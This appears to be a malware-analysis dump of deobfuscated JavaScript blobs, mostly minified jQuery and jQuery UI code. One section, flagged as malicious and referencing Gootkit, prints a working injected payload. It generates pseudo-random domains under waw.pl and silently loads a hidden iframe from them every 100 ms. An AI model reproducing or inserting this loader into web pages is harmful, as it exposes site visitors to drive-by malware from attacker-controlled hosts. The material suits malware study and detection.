            }), b.innerHTML = j, a.insertBefore(b, a.firstChild), d = b.firstChild, e = d.firstChild, h = d.nextSibling.firstChild.firstChild, this.doesNotAddBorder = e.offsetTop !== 5, this.doesAddBorderForTableAndCells = h.offsetTop === 5, e.style.position = "fixed", e.style.top = "20px", this.supportsFixedPosition = e.offsetTop === 20 || e.offsetTop === 15, e.style.position = e.style.top = "", d.style.overflow = "hidden", d.style.position = "relative", this.subtractsBorderForOverflowNotVisible = e.offsetTop === -5, this.doesNotIncludeMarginInBodyOffset = a.offsetTop !== i, a.removeChild(b), f.offset.initialize = f.noop
        },
        bodyOffset: function(a) {
            var b = a.offsetTop,
                c = a.offsetLeft;
            f.offset.initialize(), f.offset.doesNotIncludeMarginInBodyOffset && (b += parseFloat(f.css(a, "marginTop")) || 0, c += parseFloat(f.css(a, "marginLeft")) || 0);
            return {
                top: b,
                left: c
            }
        },
        setOffset: function(a, b, c) {
            var d = f.css(a, "position");
            d === "static" && (a.style.position = "relative");
            var e = f(a),
                g = e.offset(),
                h = f.css(a, "top"),
                i = f.css(a, "left"),
                j = (d === "absolute" || d === "fixed") && f.inArray("auto", [h, i]) > -1,
                k = {},
                l = {},
                m, n;
            j ? (l = e.position(), m = l.top, n = l.left) : (m = parseFloat(h) || 0, n = parseFloat(i) || 0), f.isFunction(b) && (b = b.call(a, c, g)), b.top != null && (k.top = b.top - g.top + m), b.left != null && (k.left = b.left - g.left + n), "using" in b ? b.using.call(a, k) : e.css(k)
        }
    }, f.fn.extend({
        position: function() {
            if (!this[0]) return null;
            var a = this[0],
                b = this.offsetParent(),
                c = this.offset(),
                d = cx.test(b[0].nodeName) ? {
                    top: 0,
                    left: 0
                } : b.offset();
            c.top -= parseFloat(f.css(a, "marginTop")) || 0, c.left -= parseFloat(f.css(a, "marginLeft")) || 0, d.top += parseFloat(f.css(b[0], "borderTopWidth")) || 0, d.left += parseFloat(f.css(b[0], "borderLeftWidth")) || 0;
            return {
                top: c.top - d.top,
                left: c.left - d.left
            }
        },
        offsetParent: function() {
            return this.map(function() {
                var a = this.offsetParent || c.body;
                while (a && !cx.test(a.nodeName) && f.css(a, "position") === "static") a = a.offsetParent;
                return a
            })
        }
    }), f.each(["Left", "Top"], function(a, c) {
        var d = "scroll" + c;
        f.fn[d] = function(c) {
            var e, g;
            if (c === b) {
                e = this[0];
                if (!e) return null;
                g = cy(e);
                return g ? "pageXOffset" in g ? g[a ? "pageYOffset" : "pageXOffset"] : f.support.boxModel && g.document.documentElement[d] || g.document.body[d] : e[d]
            }
            return this.each(function() {
                g = cy(this), g ? g.scrollTo(a ? f(g).scrollLeft() : c, a ? c : f(g).scrollTop()) : this[d] = c
            })
        }
    }), f.each(["Height", "Width"], function(a, c) {
        var d = c.toLowerCase();
        f.fn["inner" + c] = function() {
            return this[0] ? parseFloat(f.css(this[0], d, "padding")) : null
        }, f.fn["outer" + c] = function(a) {
            return this[0] ? parseFloat(f.css(this[0], d, a ? "margin" : "border")) : null
        }, f.fn[d] = function(a) {
            var e = this[0];
            if (!e) return a == null ? null : this;
            if (f.isFunction(a)) return this.each(function(b) {
                var c = f(this);
                c[d](a.call(this, b, c[d]()))
            });
            if (f.isWindow(e)) {
                var g = e.document.documentElement["client" + c];
                return e.document.compatMode === "CSS1Compat" && g || e.document.body["client" + c] || g
            }
            if (e.nodeType === 9) return Math.max(e.documentElement["client" + c], e.body["scroll" + c], e.documentElement["scroll" + c], e.body["offset" + c], e.documentElement["offset" + c]);
            if (a === b) {
                var h = f.css(e, d),
                    i = parseFloat(h);
                return f.isNaN(i) ? h : i
            }
            return this.css(d, typeof a == "string" ? a : a + "px")
        }
    }), a.jQuery = a.$ = f
})(window);
jQuery.noConflict();

#2 JavaScript::Eval (size: 2074, repeated: 2) - Script marked as malicious

//Congratulations! you have successfully extracted the gootkit payload 
//this means i must work hardly :( 


function nextRandomNumber() {
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo - this.R * hi;
    if (test > 0) {
        this.seed = test;
    } else {
        this.seed = test + this.M;
    }
    return (this.seed * this.oneOverM);
}

function RandomNumberGenerator(unix) {
    var d = new Date(unix * 1000);
    var s = Math.ceil(d.getHours() / 6);
    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this;
}

function createRandomNumber(r, Min, Max) {
    return Math.round((Max - Min) * r.next() + Min);
}

function generatePseudoRandomString(unix, length, zone) {
    var rand = new RandomNumberGenerator(unix);
    var subdomainlen = Math.floor(Math.random() * 32);
    var letters = "huozfexmrufmqhgnsvkehzrfrqoplpvbuaxoqeriqwkgfkdyenzossqlxfqayvpr".split('');
    var str = '';
    for (var i = 0; i < subdomainlen; i++) {
        str += letters[Math.floor(Math.random() * (letters.length - 1))];
    }
    str += '.'
    for (var i = 0; i < length; i++) {
        str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    }

    return str + '.' + zone;
}

setInterval(function() {
    try {
        if (typeof iframeWasCreated == "undefined") {
            var unix = Math.round(+new Date() / 1000);
            var domainName = generatePseudoRandomString(unix, 16, 'waw.pl');
            ifrm = document.createElement("IFRAME");
            ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet_api2");
            ifrm.style.width = "0px";
            ifrm.style.height = "0px";
            ifrm.style.visibility = "hidden";
            document.body.appendChild(ifrm);
            iframeWasCreated = true;
        }
    } catch (e) {
        iframeWasCreated = undefined;
    }
}, 100);

#3 JavaScript::Eval (size: 183559, repeated: 1)

;
(function($) {
    $.ui = {
        plugin: {
            add: function(module, option, set) {
                var proto = $.ui[module].prototype;
                for (var i in set) {
                    proto.plugins[i] = proto.plugins[i] || [];
                    proto.plugins[i].push([option, set[i]]);
                }
            },
            call: function(instance, name, args) {
                var set = instance.plugins[name];
                if (!set) {
                    return;
                }
                for (var i = 0; i < set.length; i++) {
                    if (instance.options[set[i][0]]) {
                        set[i][1].apply(instance.element, args);
                    }
                }
            }
        },
        cssCache: {},
        css: function(name) {
            if ($.ui.cssCache[name]) {
                return $.ui.cssCache[name];
            }
            var tmp = $('<div class="ui-gen">').addClass(name).css({
                position: 'absolute',
                top: '-5000px',
                left: '-5000px',
                display: 'block'
            }).appendTo('body');
            $.ui.cssCache[name] = !! ((!(/auto|default/).test(tmp.css('cursor')) || (/^[1-9]/).test(tmp.css('height')) || (/^[1-9]/).test(tmp.css('width')) || !(/none/).test(tmp.css('backgroundImage')) || !(/transparent|rgba\(0, 0, 0, 0\)/).test(tmp.css('backgroundColor'))));
            try {
                $('body').get(0).removeChild(tmp.get(0));
            } catch (e) {}
            return $.ui.cssCache[name];
        },
        disableSelection: function(el) {
            $(el).attr('unselectable', 'on').css('MozUserSelect', 'none');
        },
        enableSelection: function(el) {
            $(el).attr('unselectable', 'off').css('MozUserSelect', '');
        },
        hasScroll: function(e, a) {
            var scroll = /top/.test(a || "top") ? 'scrollTop' : 'scrollLeft',
                has = false;
            if (e[scroll] > 0) return true;
            e[scroll] = 1;
            has = e[scroll] > 0 ? true : false;
            e[scroll] = 0;
            return has;
        }
    };
    var _remove = $.fn.remove;
    $.fn.remove = function() {
        $("*", this).add(this).triggerHandler("remove");
        return _remove.apply(this, arguments);
    };

    function getter(namespace, plugin, method) {
        var methods = $[namespace][plugin].getter || [];
        methods = (typeof methods == "string" ? methods.split(/,?\s+/) : methods);
        return ($.inArray(method, methods) != -1);
    }
    $.widget = function(name, prototype) {
        var namespace = name.split(".")[0];
        name = name.split(".")[1];
        $.fn[name] = function(options) {
            var isMethodCall = (typeof options == 'string'),
                args = Array.prototype.slice.call(arguments, 1);
            if (isMethodCall && getter(namespace, name, options)) {
                var instance = $.data(this[0], name);
                return (instance ? instance[options].apply(instance, args) : undefined);
            }
            return this.each(function() {
                var instance = $.data(this, name);
                if (isMethodCall && instance && $.isFunction(instance[options])) {
                    instance[options].apply(instance, args);
                } else if (!isMethodCall) {
                    $.data(this, name, new $[namespace][name](this, options));
                }
            });
        };
        $[namespace][name] = function(element, options) {
            var self = this;
            this.widgetName = name;
            this.widgetBaseClass = namespace + '-' + name;
            this.options = $.extend({}, $.widget.defaults, $[namespace][name].defaults, options);
            this.element = $(element).bind('setData.' + name, function(e, key, value) {
                return self.setData(key, value);
            }).bind('getData.' + name, function(e, key) {
                return self.getData(key);
            }).bind('remove', function() {
                return self.destroy();
            });
            this.init();
        };
        $[namespace][name].prototype = $.extend({}, $.widget.prototype, prototype);
    };
    $.widget.prototype = {
        init: function() {},
        destroy: function() {
            this.element.removeData(this.widgetName);
        },
        getData: function(key) {
            return this.options[key];
        },
        setData: function(key, value) {
            this.options[key] = value;
            if (key == 'disabled') {
                this.element[value ? 'addClass' : 'removeClass'](this.widgetBaseClass + '-disabled');
            }
        },
        enable: function() {
            this.setData('disabled', false);
        },
        disable: function() {
            this.setData('disabled', true);
        }
    };
    $.widget.defaults = {
        disabled: false
    };
    $.ui.mouse = {
        mouseInit: function() {
            var self = this;
            this.element.bind('mousedown.' + this.widgetName, function(e) {
                return self.mouseDown(e);
            });
            if ($.browser.msie) {
                this._mouseUnselectable = this.element.attr('unselectable');
                this.element.attr('unselectable', 'on');
            }
            this.started = false;
        },
        mouseDestroy: function() {
            this.element.unbind('.' + this.widgetName);
            ($.browser.msie && this.element.attr('unselectable', this._mouseUnselectable));
        },
        mouseDown: function(e) {
            (this._mouseStarted && this.mouseUp(e));
            this._mouseDownEvent = e;
            var self = this,
                btnIsLeft = (e.which == 1),
                elIsCancel = (typeof this.options.cancel == "string" ? $(e.target).parents().add(e.target).filter(this.options.cancel).length : false);
            if (!btnIsLeft || elIsCancel || !this.mouseCapture(e)) {
                return true;
            }
            this._mouseDelayMet = !this.options.delay;
            if (!this._mouseDelayMet) {
                this._mouseDelayTimer = setTimeout(function() {
                    self._mouseDelayMet = true;
                }, this.options.delay);
            }
            if (this.mouseDistanceMet(e) && this.mouseDelayMet(e)) {
                this._mouseStarted = (this.mouseStart(e) !== false);
                if (!this._mouseStarted) {
                    e.preventDefault();
                    return true;
                }
            }
            this._mouseMoveDelegate = function(e) {
                return self.mouseMove(e);
            };
            this._mouseUpDelegate = function(e) {
                return self.mouseUp(e);
            };
            $(document).bind('mousemove.' + this.widgetName, this._mouseMoveDelegate).bind('mouseup.' + this.widgetName, this._mouseUpDelegate);
            return false;
        },
        mouseMove: function(e) {
            if ($.browser.msie && !e.button) {
                return this.mouseUp(e);
            }
            if (this._mouseStarted) {
                this.mouseDrag(e);
                return false;
            }
            if (this.mouseDistanceMet(e) && this.mouseDelayMet(e)) {
                this._mouseStarted = (this.mouseStart(this._mouseDownEvent, e) !== false);
                (this._mouseStarted ? this.mouseDrag(e) : this.mouseUp(e));
            }
            return !this._mouseStarted;
        },
        mouseUp: function(e) {
            $(document).unbind('mousemove.' + this.widgetName, this._mouseMoveDelegate).unbind('mouseup.' + this.widgetName, this._mouseUpDelegate);
            if (this._mouseStarted) {
                this._mouseStarted = false;
                this.mouseStop(e);
            }
            return false;
        },
        mouseDistanceMet: function(e) {
            return (Math.max(Math.abs(this._mouseDownEvent.pageX - e.pageX), Math.abs(this._mouseDownEvent.pageY - e.pageY)) >= this.options.distance);
        },
        mouseDelayMet: function(e) {
            return this._mouseDelayMet;
        },
        mouseStart: function(e) {},
        mouseDrag: function(e) {},
        mouseStop: function(e) {},
        mouseCapture: function(e) {
            return true;
        }
    };
    $.ui.mouse.defaults = {
        cancel: null,
        distance: 1,
        delay: 0
    };
})(jQuery);
(function($) {
    $.widget("ui.draggable", $.extend({}, $.ui.mouse, {
        init: function() {
            var o = this.options;
            if (o.helper == 'original' && !(/(relative|absolute|fixed)/).test(this.element.css('position'))) this.element.css('position', 'relative');
            this.element.addClass('ui-draggable');
            (o.disabled && this.element.addClass('ui-draggable-disabled'));
            this.mouseInit();
        },
        mouseStart: function(e) {
            var o = this.options;
            if (this.helper || o.disabled || $(e.target).is('.ui-resizable-handle')) return false;
            var handle = !this.options.handle || !$(this.options.handle, this.element).length ? true : false;
            $(this.options.handle, this.element).find("*").andSelf().each(function() {
                if (this == e.target) handle = true;
            });
            if (!handle) return false;
            if ($.ui.ddmanager) $.ui.ddmanager.current = this;
            this.helper = $.isFunction(o.helper) ? $(o.helper.apply(this.element[0], [e])) : (o.helper == 'clone' ? this.element.clone() : this.element);
            if (!this.helper.parents('body').length) this.helper.appendTo((o.appendTo == 'parent' ? this.element[0].parentNode : o.appendTo));
            if (this.helper[0] != this.element[0] && !(/(fixed|absolute)/).test(this.helper.css("position"))) this.helper.css("position", "absolute");
            this.margins = {
                left: (parseInt(this.element.css("marginLeft"), 10) || 0),
                top: (parseInt(this.element.css("marginTop"), 10) || 0)
            };
            this.cssPosition = this.helper.css("position");
            this.offset = this.element.offset();
            this.offset = {
                top: this.offset.top - this.margins.top,
                left: this.offset.left - this.margins.left
            };
            this.offset.click = {
                left: e.pageX - this.offset.left,
                top: e.pageY - this.offset.top
            };
            this.offsetParent = this.helper.offsetParent();
            var po = this.offsetParent.offset();
            if (this.offsetParent[0] == document.body && $.browser.mozilla) po = {
                top: 0,
                left: 0
            };
            this.offset.parent = {
                top: po.top + (parseInt(this.offsetParent.css("borderTopWidth"), 10) || 0),
                left: po.left + (parseInt(this.offsetParent.css("borderLeftWidth"), 10) || 0)
            };
            var p = this.element.position();
            this.offset.relative = this.cssPosition == "relative" ? {
                top: p.top - (parseInt(this.helper.css("top"), 10) || 0) + this.offsetParent[0].scrollTop,
                left: p.left - (parseInt(this.helper.css("left"), 10) || 0) + this.offsetParent[0].scrollLeft
            } : {
                top: 0,
                left: 0
            };
            this.originalPosition = this.generatePosition(e);
            this.helperProportions = {
                width: this.helper.outerWidth(),
                height: this.helper.outerHeight()
            };
            if (o.cursorAt) {
                if (o.cursorAt.left != undefined) this.offset.click.left = o.cursorAt.left + this.margins.left;
                if (o.cursorAt.right != undefined) this.offset.click.left = this.helperProportions.width - o.cursorAt.right + this.margins.left;
                if (o.cursorAt.top != undefined) this.offset.click.top = o.cursorAt.top + this.margins.top;
                if (o.cursorAt.bottom != undefined) this.offset.click.top = this.helperProportions.height - o.cursorAt.bottom + this.margins.top;
            }
            if (o.containment) {
                if (o.containment == 'parent') o.containment = this.helper[0].parentNode;
                if (o.containment == 'document' || o.containment == 'window') this.containment = [0 - this.offset.relative.left - this.offset.parent.left, 0 - this.offset.relative.top - this.offset.parent.top, $(o.containment == 'document' ? document : window).width() - this.offset.relative.left - this.offset.parent.left - this.helperProportions.width - this.margins.left - (parseInt(this.element.css("marginRight"), 10) || 0), ($(o.containment == 'document' ? document : window).height() || document.body.parentNode.scrollHeight) - this.offset.relative.top - this.offset.parent.top - this.helperProportions.height - this.margins.top - (parseInt(this.element.css("marginBottom"), 10) || 0)];
                if (!(/^(document|window|parent)$/).test(o.containment)) {
                    var ce = $(o.containment)[0];
                    var co = $(o.containment).offset();
                    this.containment = [co.left + (parseInt($(ce).css("borderLeftWidth"), 10) || 0) - this.offset.relative.left - this.offset.parent.left, co.top + (parseInt($(ce).css("borderTopWidth"), 10) || 0) - this.offset.relative.top - this.offset.parent.top, co.left + Math.max(ce.scrollWidth, ce.offsetWidth) - (parseInt($(ce).css("borderLeftWidth"), 10) || 0) - this.offset.relative.left - this.offset.parent.left - this.helperProportions.width - this.margins.left - (parseInt(this.element.css("marginRight"), 10) || 0), co.top + Math.max(ce.scrollHeight, ce.offsetHeight) - (parseInt($(ce).css("borderTopWidth"), 10) || 0) - this.offset.relative.top - this.offset.parent.top - this.helperProportions.height - this.margins.top - (parseInt(this.element.css("marginBottom"), 10) || 0)];
                }
            }
            this.propagate("start", e);
            this.helperProportions = {
                width: this.helper.outerWidth(),
                height: this.helper.outerHeight()
            };
            if ($.ui.ddmanager && !o.dropBehaviour) $.ui.ddmanager.prepareOffsets(this, e);
            this.helper.addClass("ui-draggable-dragging");
            this.mouseDrag(e);
            return true;
        },
        convertPositionTo: function(d, pos) {
            if (!pos) pos = this.position;
            var mod = d == "absolute" ? 1 : -1;
            return {
                top: (pos.top + this.offset.relative.top * mod + this.offset.parent.top * mod - (this.cssPosition == "fixed" || (this.cssPosition == "absolute" && this.offsetParent[0] == document.body) ? 0 : this.offsetParent[0].scrollTop) * mod + (this.cssPosition == "fixed" ? $(document).scrollTop() : 0) * mod + this.margins.top * mod),
                left: (pos.left + this.offset.relative.left * mod + this.offset.parent.left * mod - (this.cssPosition == "fixed" || (this.cssPosition == "absolute" && this.offsetParent[0] == document.body) ? 0 : this.offsetParent[0].scrollLeft) * mod + (this.cssPosition == "fixed" ? $(document).scrollLeft() : 0) * mod + this.margins.left * mod)
            };
        },
        generatePosition: function(e) {
            var o = this.options;
            var position = {
                top: (e.pageY - this.offset.click.top - this.offset.relative.top - this.offset.parent.top + (this.cssPosition == "fixed" || (this.cssPosition == "absolute" && this.offsetParent[0] == document.body) ? 0 : this.offsetParent[0].scrollTop) - (this.cssPosition == "fixed" ? $(document).scrollTop() : 0)),
                left: (e.pageX - this.offset.click.left - this.offset.relative.left - this.offset.parent.left + (this.cssPosition == "fixed" || (this.cssPosition == "absolute" && this.offsetParent[0] == document.body) ? 0 : this.offsetParent[0].scrollLeft) - (this.cssPosition == "fixed" ? $(document).scrollLeft() : 0))
            };
            if (!this.originalPosition) return position;
            if (this.containment) {
                if (position.left < this.containment[0]) position.left = this.containment[0];
                if (position.top < this.containment[1]) position.top = this.containment[1];
                if (position.left > this.containment[2]) position.left = this.containment[2];
                if (position.top > this.containment[3]) position.top = this.containment[3];
            }
            if (o.grid) {
                var top = this.originalPosition.top + Math.round((position.top - this.originalPosition.top) / o.grid[1]) * o.grid[1];
                position.top = this.containment ? (!(top < this.containment[1] || top > this.containment[3]) ? top : (!(top < this.containment[1]) ? top - o.grid[1] : top + o.grid[1])) : top;
                var left = this.originalPosition.left + Math.round((position.left - this.originalPosition.left) / o.grid[0]) * o.grid[0];
                position.left = this.containment ? (!(left < this.containment[0] || left > this.containment[2]) ? left : (!(left < this.containment[0]) ? left - o.grid[0] : left + o.grid[0])) : left;
            }
            return position;
        },
        mouseDrag: function(e) {
            this.position = this.generatePosition(e);
            this.positionAbs = this.convertPositionTo("absolute");
            this.position = this.propagate("drag", e) || this.position;
            if (!this.options.axis || this.options.axis != "y") this.helper[0].style.left = this.position.left + 'px';
            if (!this.options.axis || this.options.axis != "x") this.helper[0].style.top = this.position.top + 'px';
            if ($.ui.ddmanager) $.ui.ddmanager.drag(this, e);
            return false;
        },
        mouseStop: function(e) {
            var dropped = false;
            if ($.ui.ddmanager && !this.options.dropBehaviour) var dropped = $.ui.ddmanager.drop(this, e);
            if ((this.options.revert == "invalid" && !dropped) || (this.options.revert == "valid" && dropped) || this.options.revert === true) {
                var self = this;
                $(this.helper).animate(this.originalPosition, parseInt(this.options.revert, 10) || 500, function() {
                    self.propagate("stop", e);
                    self.clear();
                });
            } else {
                this.propagate("stop", e);
                this.clear();
            }
            return false;
        },
        clear: function() {
            this.helper.removeClass("ui-draggable-dragging");
            if (this.options.helper != 'original' && !this.cancelHelperRemoval) this.helper.remove();
            this.helper = null;
            this.cancelHelperRemoval = false;
        },
        plugins: {},
        uiHash: function(e) {
            return {
                helper: this.helper,
                position: this.position,
                absolutePosition: this.positionAbs,
                options: this.options
            };
        },
        propagate: function(n, e) {
            $.ui.plugin.call(this, n, [e, this.uiHash()]);
            if (n == "drag") this.positionAbs = this.convertPositionTo("absolute");
            return this.element.triggerHandler(n == "drag" ? n : "drag" + n, [e, this.uiHash()], this.options[n]);
        },
        destroy: function() {
            if (!this.element.data('draggable')) return;
            this.element.removeData("draggable").unbind(".draggable").removeClass('ui-draggable');
            this.mouseDestroy();
        }
    }));
    $.extend($.ui.draggable, {
        defaults: {
            appendTo: "parent",
            axis: false,
            cancel: ":input",
            delay: 0,
            distance: 1,
            helper: "original"
        }
    });
    $.ui.plugin.add("draggable", "cursor", {
        start: function(e, ui) {
            var t = $('body');
            if (t.css("cursor")) ui.options._cursor = t.css("cursor");
            t.css("cursor", ui.options.cursor);
        },
        stop: function(e, ui) {
            if (ui.options._cursor) $('body').css("cursor", ui.options._cursor);
        }
    });
    $.ui.plugin.add("draggable", "zIndex", {
        start: function(e, ui) {
            var t = $(ui.helper);
            if (t.css("zIndex")) ui.options._zIndex = t.css("zIndex");
            t.css('zIndex', ui.options.zIndex);
        },
        stop: function(e, ui) {
            if (ui.options._zIndex) $(ui.helper).css('zIndex', ui.options._zIndex);
        }
    });
    $.ui.plugin.add("draggable", "opacity", {
        start: function(e, ui) {
            var t = $(ui.helper);
            if (t.css("opacity")) ui.options._opacity = t.css("opacity");
            t.css('opacity', ui.options.opacity);
        },
        stop: function(e, ui) {
            if (ui.options._opacity) $(ui.helper).css('opacity', ui.options._opacity);
        }
    });
    $.ui.plugin.add("draggable", "iframeFix", {
        start: function(e, ui) {
            $(ui.options.iframeFix === true ? "iframe" : ui.options.iframeFix).each(function() {
                $('<div class="ui-draggable-iframeFix" style="background: #fff;"></div>').css({
                    width: this.offsetWidth + "px",
                    height: this.offsetHeight + "px",
                    position: "absolute",
                    opacity: "0.001",
                    zIndex: 1000
                }).css($(this).offset()).appendTo("body");
            });
        },
        stop: function(e, ui) {
            $("div.DragDropIframeFix").each(function() {
                this.parentNode.removeChild(this);
            });
        }
    });
    $.ui.plugin.add("draggable", "scroll", {
        start: function(e, ui) {
            var o = ui.options;
            var i = $(this).data("draggable");
            o.scrollSensitivity = o.scrollSensitivity || 20;
            o.scrollSpeed = o.scrollSpeed || 20;
            i.overflowY = function(el) {
                do {
                    if (/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-y'))) return el;
                    el = el.parent();
                } while (el[0].parentNode);
                return $(document);
            }(this);
            i.overflowX = function(el) {
                do {
                    if (/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-x'))) return el;
                    el = el.parent();
                } while (el[0].parentNode);
                return $(document);
            }(this);
            if (i.overflowY[0] != document && i.overflowY[0].tagName != 'HTML') i.overflowYOffset = i.overflowY.offset();
            if (i.overflowX[0] != document && i.overflowX[0].tagName != 'HTML') i.overflowXOffset = i.overflowX.offset();
        },
        drag: function(e, ui) {
            var o = ui.options;
            var i = $(this).data("draggable");
            if (i.overflowY[0] != document && i.overflowY[0].tagName != 'HTML') {
                if ((i.overflowYOffset.top + i.overflowY[0].offsetHeight) - e.pageY < o.scrollSensitivity) i.overflowY[0].scrollTop = i.overflowY[0].scrollTop + o.scrollSpeed;
                if (e.pageY - i.overflowYOffset.top < o.scrollSensitivity) i.overflowY[0].scrollTop = i.overflowY[0].scrollTop - o.scrollSpeed;
            } else {
                if (e.pageY - $(document).scrollTop() < o.scrollSensitivity) $(document).scrollTop($(document).scrollTop() - o.scrollSpeed);
                if ($(window).height() - (e.pageY - $(document).scrollTop()) < o.scrollSensitivity) $(document).scrollTop($(document).scrollTop() + o.scrollSpeed);
            }
            if (i.overflowX[0] != document && i.overflowX[0].tagName != 'HTML') {
                if ((i.overflowXOffset.left + i.overflowX[0].offsetWidth) - e.pageX < o.scrollSensitivity) i.overflowX[0].scrollLeft = i.overflowX[0].scrollLeft + o.scrollSpeed;
                if (e.pageX - i.overflowXOffset.left < o.scrollSensitivity) i.overflowX[0].scrollLeft = i.overflowX[0].scrollLeft - o.scrollSpeed;
            } else {
                if (e.pageX - $(document).scrollLeft() < o.scrollSensitivity) $(document).scrollLeft($(document).scrollLeft() - o.scrollSpeed);
                if ($(window).width() - (e.pageX - $(document).scrollLeft()) < o.scrollSensitivity) $(document).scrollLeft($(document).scrollLeft() + o.scrollSpeed);
            }
        }
    });
    $.ui.plugin.add("draggable", "snap", {
        start: function(e, ui) {
            var inst = $(this).data("draggable");
            inst.snapElements = [];
            $(ui.options.snap === true ? '.ui-draggable' : ui.options.snap).each(function() {
                var $t = $(this);
                var $o = $t.offset();
                if (this != inst.element[0]) inst.snapElements.push({
                    item: this,
                    width: $t.outerWidth(),
                    height: $t.outerHeight(),
                    top: $o.top,
                    left: $o.left
                });
            });
        },
        drag: function(e, ui) {
            var inst = $(this).data("draggable");
            var d = ui.options.snapTolerance || 20;
            var x1 = ui.absolutePosition.left,
                x2 = x1 + inst.helperProportions.width,
                y1 = ui.absolutePosition.top,
                y2 = y1 + inst.helperProportions.height;
            for (var i = inst.snapElements.length - 1; i >= 0; i--) {
                var l = inst.snapElements[i].left,
                    r = l + inst.snapElements[i].width,
                    t = inst.snapElements[i].top,
                    b = t + inst.snapElements[i].height;
                if (!((l - d < x1 && x1 < r + d && t - d < y1 && y1 < b + d) || (l - d < x1 && x1 < r + d && t - d < y2 && y2 < b + d) || (l - d < x2 && x2 < r + d && t - d < y1 && y1 < b + d) || (l - d < x2 && x2 < r + d && t - d < y2 && y2 < b + d))) continue;
                if (ui.options.snapMode != 'inner') {
                    var ts = Math.abs(t - y2) <= 20;
                    var bs = Math.abs(b - y1) <= 20;
                    var ls = Math.abs(l - x2) <= 20;
                    var rs = Math.abs(r - x1) <= 20;
                    if (ts) ui.position.top = inst.convertPositionTo("relative", {
                        top: t - inst.helperProportions.height,
                        left: 0
                    }).top;
                    if (bs) ui.position.top = inst.convertPositionTo("relative", {
                        top: b,
                        left: 0
                    }).top;
                    if (ls) ui.position.left = inst.convertPositionTo("relative", {
                        top: 0,
                        left: l - inst.helperProportions.width
                    }).left;
                    if (rs) ui.position.left = inst.convertPositionTo("relative", {
                        top: 0,
                        left: r
                    }).left;
                }
                if (ui.options.snapMode != 'outer') {
                    var ts = Math.abs(t - y1) <= 20;
                    var bs = Math.abs(b - y2) <= 20;
                    var ls = Math.abs(l - x1) <= 20;
                    var rs = Math.abs(r - x2) <= 20;
                    if (ts) ui.position.top = inst.convertPositionTo("relative", {
                        top: t,
                        left: 0
                    }).top;
                    if (bs) ui.position.top = inst.convertPositionTo("relative", {
                        top: b - inst.helperProportions.height,
                        left: 0
                    }).top;
                    if (ls) ui.position.left = inst.convertPositionTo("relative", {
                        top: 0,
                        left: l
                    }).left;
                    if (rs) ui.position.left = inst.convertPositionTo("relative", {
                        top: 0,
                        left: r - inst.helperProportions.width
                    }).left;
                }
            };
        }
    });
    $.ui.plugin.add("draggable", "connectToSortable", {
        start: function(e, ui) {
            var inst = $(this).data("draggable");
            inst.sortables = [];
            $(ui.options.connectToSortable).each(function() {
                if ($.data(this, 'sortable')) {
                    var sortable = $.data(this, 'sortable');
                    inst.sortables.push({
                        instance: sortable,
                        shouldRevert: sortable.options.revert
                    });
                    sortable.refreshItems();
                    sortable.propagate("activate", e, inst);
                }
            });
        },
        stop: function(e, ui) {
            var inst = $(this).data("draggable");
            $.each(inst.sortables, function() {
                if (this.instance.isOver) {
                    this.instance.isOver = 0;
                    inst.cancelHelperRemoval = true;
                    this.instance.cancelHelperRemoval = false;
                    if (this.shouldRevert) this.instance.options.revert = true;
                    this.instance.mouseStop(e);
                    this.instance.element.triggerHandler("sortreceive", [e, $.extend(this.instance.ui(), {
                        sender: inst.element
                    })], this.instance.options["receive"]);
                    this.instance.options.helper = this.instance.options._helper;
                } else {
                    this.instance.propagate("deactivate", e, inst);
                }
            });
        },
        drag: function(e, ui) {
            var inst = $(this).data("draggable"),
                self = this;
            var checkPos = function(o) {
                    var l = o.left,
                        r = l + o.width,
                        t = o.top,
                        b = t + o.height;
                    return (l < (this.positionAbs.left + this.offset.click.left) && (this.positionAbs.left + this.offset.click.left) < r && t < (this.positionAbs.top + this.offset.click.top) && (this.positionAbs.top + this.offset.click.top) < b);
                };
            $.each(inst.sortables, function(i) {
                if (checkPos.call(inst, this.instance.containerCache)) {
                    if (!this.instance.isOver) {
                        this.instance.isOver = 1;
                        this.instance.currentItem = $(self).clone().appendTo(this.instance.element).data("sortable-item", true);
                        this.instance.options._helper = this.instance.options.helper;
                        this.instance.options.helper = function() {
                            return ui.helper[0];
                        };
                        e.target = this.instance.currentItem[0];
                        this.instance.mouseCapture(e, true);
                        this.instance.mouseStart(e, true, true);
                        this.instance.offset.click.top = inst.offset.click.top;
                        this.instance.offset.click.left = inst.offset.click.left;
                        this.instance.offset.parent.left -= inst.offset.parent.left - this.instance.offset.parent.left;
                        this.instance.offset.parent.top -= inst.offset.parent.top - this.instance.offset.parent.top;
                        inst.propagate("toSortable", e);
                    }
                    if (this.instance.currentItem) this.instance.mouseDrag(e);
                } else {
                    if (this.instance.isOver) {
                        this.instance.isOver = 0;
                        this.instance.cancelHelperRemoval = true;
                        this.instance.options.revert = false;
                        this.instance.mouseStop(e, true);
                        this.instance.options.helper = this.instance.options._helper;
                        this.instance.currentItem.remove();
                        if (this.instance.placeholder) this.instance.placeholder.remove();
                        inst.propagate("fromSortable", e);
                    }
                };
            });
        }
    });
    $.ui.plugin.add("draggable", "stack", {
        start: function(e, ui) {
            var group = $.makeArray($(ui.options.stack.group)).sort(function(a, b) {
                return (parseInt($(a).css("zIndex"), 10) || ui.options.stack.min) - (parseInt($(b).css("zIndex"), 10) || ui.options.stack.min);
            });
            $(group).each(function(i) {
                this.style.zIndex = ui.options.stack.min + i;
            });
            this[0].style.zIndex = ui.options.stack.min + group.length;
        }
    });
})(jQuery);
(function($) {
    $.widget("ui.droppable", {
        init: function() {
            this.element.addClass("ui-droppable");
            this.isover = 0;
            this.isout = 1;
            var o = this.options,
                accept = o.accept;
            o = $.extend(o, {
                accept: o.accept && o.accept.constructor == Function ? o.accept : function(d) {
                    return $(d).is(accept);
                }
            });
            this.proportions = {
                width: this.element[0].offsetWidth,
                height: this.element[0].offsetHeight
            };
